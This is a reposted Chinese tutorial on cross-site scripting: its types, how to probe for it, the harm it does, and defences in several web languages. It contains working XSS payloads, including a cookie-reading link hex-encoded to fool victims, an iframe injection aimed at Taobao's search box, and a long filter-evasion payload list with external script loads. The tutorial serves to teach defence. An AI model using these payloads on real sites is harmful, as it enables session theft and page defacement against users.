(轉載)攻擊方式學習之(1) - 跨站式腳本(Cross-Site Scripting)

聲明:本文僅供學習研究之用,對於本文提到的某些網站的XSS漏洞,請讀者發揚高尚的人道主義精神不要去危害他人,同時希望相應的網站能夠儘快修補XSS漏洞。

簡介

XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的。

使用過ASP的同學一定見過這樣的代碼:

Hello,  
<%
Response.Write(Request.Querystring("name"))
%>

假如我傳入的name的值爲:

<script>x=document.cookie;alert(x);</script>

這樣就可以直接盜取用戶的cookie。所以我就可以發送一條鏈接地址讓別人去點:

http://www.xxx.com/reg.asp?name=<script>x=document.cookie;alert(x);</script>

當然這樣做沒有一點隱蔽性,雖然前面的xxx.com瞞過了少數人,但大多數人可以辨認出後面的javascript代碼,所以,我只需要將後面的javascript代碼轉換成URL的16進制,如:

http://www.xxx.com/reg.asp?name=%3C%73%63%72%69%70%74%3E%78%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%61%6C%65%72%74%28%78%29%3B%3C%2F%73%63%72%69%70%74%3E

上面的URL你還認得嗎?除非你把它轉換出來。(進制轉換可以使用Napkin工具,哎,太壞了。。有人問Napkin的下載地址,貼在這裏好了:http://www.0x90.org/releases/napkin/Napkin-1.0-Windows.zip)

根本原因

1. 沒有對輸入進行約束,沒有對輸出進行編碼
2. 沒有嚴格區分“數據”和“代碼”

示例

發現大名鼎鼎的淘寶網也存在這樣的漏洞,我們在搜索框中輸入:

"/><div style="position:absolute;left:0px;top:0px;"><iframe src="http://www.baidu.com" FRAMEBORDER=0 width=1000 height=900/></div><a href="

這樣,我們已經修改了淘寶原有的頁面,在下面嵌入了百度的首頁。效果如圖:


使用時機

我嘗試在各種不同網站尋找 XSS漏洞, baidu, amazon.cn, youku.com, dangdang.com等等。結果,我發現XSS漏洞非常普遍!其實XSS利用的是網頁的回顯,即,接收用戶的輸入,然後再在頁面顯示用戶的輸入。總結 一下幾個可能會出現漏洞的地方:

  1. 搜索引擎
  2. 留言板
  3. 錯誤頁面

通過在上面那些類型的頁面輸入一些特殊的字符(包括< > / "),如:</?jjkk>,然後在結果頁中的源碼處搜索是否存在原樣的:</?jjkk>,如果存在,恭喜你,發現了一個XSS漏洞。

分類

1. DOM-based cross-site scripting

頁面本身包含一些DOM對象的操作,如果未對輸入的參數進行處理,可能會導致執行惡意腳本。如下面一些DOM操作:


document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)

  舉個例子,假如某個脆弱的頁面的代碼如下:
<HTML>
    <TITLE>Welcome!</TITLE>
    Hi
    <SCRIPT>
        var pos=document.URL.indexOf("name=")+5;
        document.write(document.URL.substring(pos,document.URL.length));
    </SCRIPT>
    <BR>
    Welcome to our system
    …
</HTML>

  攻擊者使用如下的URL訪問時,則非常危險:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

  試了一下,貌似IE、FireFox等瀏覽器默認對<script>alert(document.cookie)</script>進行了編碼,阻止了腳本的執行。但是對於DOM操作還是要更加謹慎啊,比如把上面的頁面修改一下,安全性就增強了不少:
<SCRIPT>
 var pos=document.URL.indexOf("name=")+5;
 var name=document.URL.substring(pos,document.URL.length);
 if (name.match(/^[a-zA-Z0-9]$/))
 {
       document.write(name);
 }
 else
 {
        window.alert("Security error");
 }
</SCRIPT>

 2. Reflected cross-site scripting

        也被稱爲None-Persistent cross-site scripting,即,非持久化的XSS攻擊,是我們通常所說的,也是最常用,使用最廣的一種方式。它通過給別人發送帶有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數被HTML解析、執行。它的特點是非持久化,必須用戶點擊帶有特定參數的鏈接菜能引起。

 3. Persistent cross-site scripting

        持久化XSS攻擊,指的是惡意腳本代碼被存儲進被攻擊的數據庫,當其他用戶正常瀏覽網頁時,站點從數據庫中讀取了非法用戶存入非法數據,惡意腳本代碼被執行。這種攻擊類型通常在留言板等地方出現。

實施方式

我們來試一把Reflected cross-site scripting。當我們在某網站輸入參數XXX,發現參數XXX原樣的出現在了頁面源碼中: 

<input type="text" class="Seach" name="w" value="XXX" />


OK,可以開始做文章了,我們將XXX替換爲:abc"/><script>alert('haha')</script><a href=",返回的HTML代碼如下:

<input type="text" class="Seach" name="w" value="abc"/><script>alert('haha')</script><!--" />


這樣,<script>alert('haha')</script>被執行了。這裏再舉例一些XSS攻擊行爲:

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);

更加詳細的列表請參見 5

危害

  1. 盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
  2. 控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
  3. 盜竊企業重要的具有商業價值的資料
  4. 非法轉賬
  5. 強制發送電子郵件
  6. 網站掛馬
  7. 控制受害者機器向其它網站發起攻擊

防範

  1. 必須明確:一切輸入都是有害的,不要信任一切輸入的數據。
  2. 緩和XSS問題的首要法則是確定哪個輸入是有效的,並且拒絕所有別的無效輸入。
  3. 替換危險字符,如:"&", "<", ">", ""","'", "/", "?",";", ":", "%", "<SPACE>", "=", "+"。各種語言替換的程度不盡相同,但是基本上能抵禦住一般的XSS攻擊。

    1. python的cgi.escape函數:

      def escape(s, quote=None):
          '''Replace special characters "&", "<" and ">" to HTML-safe sequences.
          If the optional flag quote is true, the quotation mark character (")
          is also translated.'''
          s = s.replace("&", "&amp;") # Must be done first!
          s = s.replace("<", "&lt;")
          s = s.replace(">", "&gt;")
          if quote:
              s = s.replace('"', "&quot;")
      return s
    2. ASP中的Server.HTMLEncode:

      <%= Server.HTMLEncode("The paragraph tag: <P>") %>
    3. ASP.NET的Server.HtmlEncode及Server.UrlEncode:

      String TestString = "This is a <Test String>.";
      String EncodedString = Server.HtmlEncode(TestString);
      Server.UrlEncode(Request.Url.ToString());
    4. PHP的htmlspecialchars方法: 

      <?php
       $new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
       echo $new; // &lt;a href='test'&gt;Test&lt;/a&gt;
      ?>
    5. JAVA中的java.net.URLEncode.encode:

      String mytext = java.net.URLEncoder.encode("中國", "utf-8");
  4. 有些網站使用過濾javascript關鍵字的辦法來防止XSS,其實是很不明智的,因爲XSS有時候根本就不需要javascript關鍵字或者對javascript關鍵字進行格式變化來躲過過濾。
  5. 爲所有的標記屬性加上雙引號。應該說這也不是萬全之策,只是在轉義了雙引號的前提下的一道安全保障。比如:
    不加雙引號時,onclick被執行了:

    <a href=http://www.xxx.com/detail.asp?id=2008 οnclick='javascrpt:alert('haha')'>
    加上了雙引號,onclick不會被執行:
    <a href="http://www.xxx.com/detail.asp?id=2008 οnclick='javascrpt:alert('haha')'">
  6. 將數據插入到innerText屬性中,腳本將不會被執行。如果是innerHTML屬性,則必須確保輸入是安全的。如ASP.NET中:
    <%@ Page Language="C#" AutoEventWireup="true"%>
    <html>
     <body>
        <span id="Welcome1" runat="server"> </span>
        <span id="Welcome2" runat="server"> </span>
     </body>
    </html>
    <script runat="server">
     private void Page_Load(Object Src, EventArgs e)
     {
        // Using InnerText renders the content safe–no need to HtmlEncode
        Welcome1.InnerText = "haha";
        // Using InnerHtml requires the use of HtmlEncode to make it safe
        Welcome2.InnerHtml = "Hello, " + Server.HtmlEncode("haha");
     }
    </Script>
  7. 使用IE6.0SP1的cookie選項HttpOnly,注意,HttpOnly只能阻止惡意腳本讀取cookie,並不能阻止XSS攻擊。比如在ASP.NET中:

    HttpCookie cookie = new HttpCookie("Name", "ZhangChangrong");
    cookie.Path = "/; HttpOnly";
    Response.Cookies.Add(cookie);
  8. 使用IE的<IFrame>的Security屬性,設置爲restricted後,frame中的腳本將不能執行(僅限於IE)。如:

    <iframe security="restricted" src="http://www.somesite.com/somepage.htm"></frame>
  9. ASP.NET中的ValidateRequest配置選項。默認情況下,這個功能是開啓的,這個功能將會檢查用戶是否試圖在cookie、查詢字符串以及HTML表格中設置HTML或腳本。如果請求包含這種潛在的危險輸入,就會拋出一個HttpRequestValidationException異常。我在嘗試試探噹噹網的XSS漏洞時發現這個異常信息,可以說噹噹網使用了ValidateRequest這個選項,或者從另一方面說,也許是無意中啓用了這一選項,同時,將錯誤信息拋出給用戶是非常不安全的。

    1. 給一個頁面設置ValidateRequest選項:

      <%@ Page Language="C#" ValidateRequest="false" %>
    2. 在Machine.config中設置全局ValidateRequest選項,注意,如果在Web.config中重新設置,不會覆蓋Machine.config中的這一設置:

      <system.web>
          <pages buffer="true" validateRequest="true" />
      </system.web>
    3. 讓我們來目睹噹噹網給我們帶來的這一盛況:


  10. 在一些必須使用到HTML標籤的地方,比如公告欄,可以使用其他格式的標示代替,比如論壇中廣泛使用的BBCode,用[i]...["i]來表示斜體。
  11. 然而,對於一些允許用戶輸入特定HTML的地方,強烈建議使用正則表達式進行匹配。比如:
    if (/^(?:["s"w"?"!","."'""]*|(?:"<"/"?(?:i|b|p|br|em|pre)">))*$/i)
    {
          #Cool, it's valid input
    }
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章